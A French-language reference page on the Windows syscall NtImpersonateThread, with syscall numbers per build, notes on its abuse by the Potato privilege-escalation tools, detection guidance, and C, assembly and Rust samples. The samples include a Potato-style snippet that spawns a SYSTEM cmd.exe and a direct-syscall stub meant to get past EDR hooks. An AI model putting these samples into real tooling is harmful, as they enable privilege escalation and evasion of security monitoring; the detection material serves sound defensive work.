NtImpersonateThread
Fait impersonner par le thread serveur le contexte de sécurité du thread client.
Prototype
NTSTATUS NtImpersonateThread( HANDLE ServerThreadHandle, HANDLE ClientThreadHandle, PSECURITY_QUALITY_OF_SERVICE SecurityQos );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| ServerThreadHandle | HANDLE | in | Handle vers le thread qui adoptera le contexte de sécurité du client. Nécessite THREAD_IMPERSONATE (0x100). |
| ClientThreadHandle | HANDLE | in | Handle vers le thread dont le contexte est adopté. Nécessite THREAD_DIRECT_IMPERSONATION (0x200). |
| SecurityQos | PSECURITY_QUALITY_OF_SERVICE | in | Niveau d'impersonation demandé (SecurityIdentification, SecurityImpersonation, SecurityDelegation). |
IDs de syscalls par version de Windows
| Version de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0xEE | win10-1507 |
| Win10 1607 | 0xF1 | win10-1607 |
| Win10 1703 | 0xF4 | win10-1703 |
| Win10 1709 | 0xF5 | win10-1709 |
| Win10 1803 | 0xF6 | win10-1803 |
| Win10 1809 | 0xF7 | win10-1809 |
| Win10 1903 | 0xF8 | win10-1903 |
| Win10 1909 | 0xF8 | win10-1909 |
| Win10 2004 | 0xFD | win10-2004 |
| Win10 20H2 | 0xFD | win10-20h2 |
| Win10 21H1 | 0xFD | win10-21h1 |
| Win10 21H2 | 0xFE | win10-21h2 |
| Win10 22H2 | 0xFE | win10-22h2 |
| Win11 21H2 | 0x103 | win11-21h2 |
| Win11 22H2 | 0x104 | win11-22h2 |
| Win11 23H2 | 0x104 | win11-23h2 |
| Win11 24H2 | 0x106 | win11-24h2 |
| Server 2016 | 0xF1 | winserver-2016 |
| Server 2019 | 0xF7 | winserver-2019 |
| Server 2022 | 0x102 | winserver-2022 |
| Server 2025 | 0x106 | winserver-2025 |
Module noyau
APIs liées
Stub du syscall
4C 8B D1 mov r10, rcx B8 06 01 00 00 mov eax, 0x106 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notes non documentées
NtImpersonateThread est la primitive d'impersonation *directe* thread-à-thread — aucun handle de jeton intermédiaire requis. C'est l'appel que le runtime serveur LRPC / ALPC invoque quand une méthode RPC déclare `[in] handle_t` et que l'appelant a un niveau de privilège suffisant pour être impersonné. Contrairement à l'approche par handle de jeton (NtOpenProcessTokenEx -> NtDuplicateToken -> NtSetInformationThread), cet unique appel capture atomiquement le contexte de sécurité effectif du thread client. Le SSN dérive presque à chaque build — `0xEE` sur Windows 10 1507, `0x106` sur Windows 11 24H2 — donc la résolution dynamique de SSN est requise pour de l'outillage portable.
Usage courant par les malwares
L'âme côté noyau de toute la **famille Potato** (HotPotato, RottenPotato, JuicyPotato, RoguePotato, PrintSpoofer, SweetPotato, RemotePotato0, GodPotato). Le motif d'attaque : piéger un service en contexte SYSTEM (Print Spooler, MSDTC, RPCSS, BITS) pour qu'il effectue un appel RPC authentifié vers un endpoint local malveillant ; cet endpoint appelle alors `NtImpersonateThread(NtCurrentThread, callerThread, &qos{SecurityImpersonation})` pour capturer le contexte SYSTEM. Avec `SeImpersonatePrivilege` déjà accordé à la plupart des comptes de service (LOCAL SERVICE, NETWORK SERVICE, identités d'app-pool IIS), cet unique primitif fait le pont SERVICE -> SYSTEM. Le même appel est utilisé par les variantes BOF `make_token` de Cobalt Strike lorsqu'elles impersonnent un thread cible directement plutôt qu'un jeton de processus.
Opportunités de détection
Cible de détection à forte fidélité. L'événement Windows Security **4624 avec Logon Type 3** + niveau d'impersonation `Impersonation` (3) ou `Delegation` (4) enregistre le changement de contexte. Plus important encore, le provider ETW `Microsoft-Windows-RPC` émet `EVENT_ID 5` (RpcServerImpersonateClient) côté serveur RPC — corréler un serveur RPC inattendu impersonnant un client à haut privilège est la détection Potato canonique. L'événement **4673** (Sensitive Privilege Use, SeImpersonatePrivilege) se déclenche quand le privilège est exercé. Les EDR hookent `ntdll!NtImpersonateThread` ; les syscalls directs contournent ce hook mais la piste d'audit côté noyau et l'ETW RPC restent. Surveiller les processus non-IIS, non-Print-Spooler, non-MSDTC invoquant cet appel sur des threads qu'ils n'ont pas créés.
Exemples de syscalls directs
asmx64 direct stub (Win11 24H2)
; NOTE: SSN moves every build — resolve dynamically for portability.
NtImpersonateThread PROC
mov r10, rcx ; ServerThreadHandle
mov eax, 106h ; SSN on Win11 24H2
syscall
ret
NtImpersonateThread ENDPcPotato-style SERVICE -> SYSTEM impersonation
// Inside a malicious local RPC endpoint reached by a coerced SYSTEM service.
// The current thread is servicing the RPC; the caller's thread carries SYSTEM context.
SECURITY_QUALITY_OF_SERVICE qos = {
.Length = sizeof(qos),
.ImpersonationLevel = SecurityImpersonation,
.ContextTrackingMode = SECURITY_STATIC_TRACKING,
.EffectiveOnly = FALSE,
};
// hClientThread was obtained via RpcImpersonateClient + OpenThread on the caller,
// or directly from an LPC port message.
NTSTATUS s = NtImpersonateThread(NtCurrentThread(),
hClientThread,
&qos);
if (NT_SUCCESS(s)) {
// We are now SYSTEM on this thread. CreateProcessAsUserW with the duplicated
// token gives us a SYSTEM-context cmd.exe.
HANDLE hTok;
NtOpenThreadTokenEx(NtCurrentThread(),
TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY,
TRUE, 0, &hTok);
// ... NtDuplicateToken -> CreateProcessAsUserW("cmd.exe")
}rustImpersonation chain stub with naked-asm direct syscall
// Direct-syscall NtImpersonateThread used inside a Potato-style RPC server.
use std::arch::asm;
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::SECURITY_QUALITY_OF_SERVICE;
#[unsafe(naked)]
pub unsafe extern "system" fn nt_impersonate_thread(
_server: HANDLE,
_client: HANDLE,
_qos: *mut SECURITY_QUALITY_OF_SERVICE,
) -> i32 {
asm!(
"mov r10, rcx",
"mov eax, 0x106", // Win11 24H2; resolve dynamically in real loaders
"syscall",
"ret",
options(noreturn),
);
}
// Higher-level helper kept short for clarity.
pub unsafe fn become_caller(server: HANDLE, client: HANDLE) -> bool {
let mut qos = SECURITY_QUALITY_OF_SERVICE {
Length: std::mem::size_of::<SECURITY_QUALITY_OF_SERVICE>() as u32,
ImpersonationLevel: 2, // SecurityImpersonation
ContextTrackingMode: 0, // STATIC
EffectiveOnly: 0,
};
nt_impersonate_thread(server, client, &mut qos) == 0
}Mappings MITRE ATT&CK
Last verified: 2026-05-20